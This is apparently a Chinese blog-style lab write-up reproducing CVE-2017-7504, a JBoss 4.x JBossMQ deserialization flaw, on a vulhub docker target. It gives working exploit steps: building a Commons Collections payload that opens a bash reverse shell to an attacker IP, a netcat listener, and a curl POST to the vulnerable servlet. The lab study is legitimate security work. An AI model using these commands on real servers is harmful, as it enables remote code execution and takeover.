漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
前言:
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
Apache Commons Collections
是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
首先这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。
差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
此次环境尝试用docker搭建。
靶机:
ip:192.168.112.132
操作系统:ubuntu18.0.4 LTS
攻击机:
ip:192.168.112.133
操作系统:kali
一、环境搭建
1.docker的安装参考
https://www.howtoing.com/ubuntu-docker
2.安装完docker后,直接拉取vulhub的源码。
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
3.靶机启动服务
执行如下命令启动JBoss AS 4.0.5
docker-compose up -d
4.环境启动后,地址为http://192.168.112.132:8080/
至此,靶机部分完成。
二、exp准备:
用法实例:
1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
3)nc -lvvp 4444
4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
三、exploit
1) 选择ExampleCommonsCollections1WithHashMap
,编译并生成序列化数据:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #编译
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1"
#ser全称serialize,序列化恶意数据至文件。
第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class
第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser
2)发射:
将该文件作为请求数据主体发送如下数据包:
curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
# --data-binary 意为以二进制的方式post数据
反弹成功。
反弹shell也可以使用工具中预置payload的文件——ReverseShellCommonsCollectionsHashMap.java
复现过程可参考:https://www.sec-note.com/2018/03/30/Jboss/
参考链接:
http://gv7.me/articles/2018/CVE-2017-7504/
https://www.jianshu.com/p/d265f9514f7d
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://security.tencent.com/index.php/blog/msg/97
https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html
https://www.runoob.com/java/java-tutorial.html
https://www.runoob.com/java/java-serialization.html
漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)的更多相关文章
- JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
检测漏洞 工具 下载地址:https://github.com/joaomatosf/JavaDeserH2HC javac -cp .:commons-collections-3.2.1.jar E ...
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现
0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...
- [漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomc ...
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
检测
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- 漏洞复现:MS17-010缓冲区溢出漏洞(永恒之蓝)
MS17-010缓冲区溢出漏洞复现 攻击机:Kali Linux 靶机:Windows7和2008 1.打开攻击机Kali Linux,msf更新到最新版本(现有版本5.x),更新命令:apt-get ...
- DVR登录绕过漏洞_CVE-2018-9995漏洞复现
DVR登录绕过漏洞_CVE-2018-9995漏洞复现 一.漏洞描述 此漏洞允许攻击者通过修改”Cookie:uid=admin”之后访问特定DVR的控制面板,返回此设备的明文管理员凭证. 二.影响软 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
随机推荐
- centos安装浏览器【备份】
chrome(谷歌) 添加源:sudo wget http://repo.fdzh.org/chrome/google-chrome-mirrors.repo -P /etc/yum.repos.d ...
- Kafka与ActiveMQ区别
Kafka 是LinkedIn 开发的一个高性能.分布式的消息系统,广泛用于日志收集.流式数据处理.在线和离线消息分发等场景.虽然不是作为传统的MQ来设计,在大部分情况,Kafaka 也可以代替原先A ...
- [CTF]CTF中if (md5(md5($_GET[‘a’])) == md5($_GET[‘b’])) 的绕过
原作者:KTWO 出处:https://www.k2zone.cn/?p=2019 0X00 摘要 CTF中md5判等可使用0e绕过,但是如果是双md5该如何绕过呢?本文将教你如何绕过md5(md5( ...
- 第07组 团队Git现场编程实战
组员职责分工 团队成员 分工 杨明哲 爬数据,做网页 林兴源 合作编码完成了对美团数据的分析,分析出最有发展潜力的十佳好店 卞永亨 从大众点评分析出了服装商圈 林鑫 合作编码完成了对美团数据的分析,分 ...
- spring boot修改代码后无需重启设置,在开发时实现热部署
Spring Boot在开发时实现热部署(开发时修改文件保存后自动重启应用)(spring-boot-devtools) 热部署是什么 大家都知道在项目开发过程中,常常会改动页面数据或者修改数据结构, ...
- Linux内存中的Cache真的能被回收吗? 【转】
在Linux系统中,我们经常用free命令来查看系统内存的使用状态.在一个RHEL6的系统上,free命令的显示内容大概是这样一个状态: [root@tencent64 ~]# free ...
- [English]常用中英文对照表
Always have been 一直如此 accordingly:相应地 assumption:假定 brace:大括号 branket:中括号 comma:逗号MISC:Miscellaneous ...
- python 设计模式之装饰器模式 Decorator Pattern
#写在前面 已经有一个礼拜多没写博客了,因为沉醉在了<妙味>这部小说里,里面讲的是一个厨师苏秒的故事.现实中大部分人不会有她的天分.我喜欢她的性格:总是想着去解决问题,好像从来没有怨天尤人 ...
- openresty开发系列30--openresty中使用http模块
OpenResty默认没有提供Http客户端,需要使用第三方提供的插件 我们可以从github上搜索相应的客户端,比如https://github.com/pintsized/lua-resty-ht ...
- 【转载】 【Tensorflow】卷积神经网络中strides的参数
原文地址: https://blog.csdn.net/TwT520Ly/article/details/79540251 http://blog.csdn.net/TwT520Ly -------- ...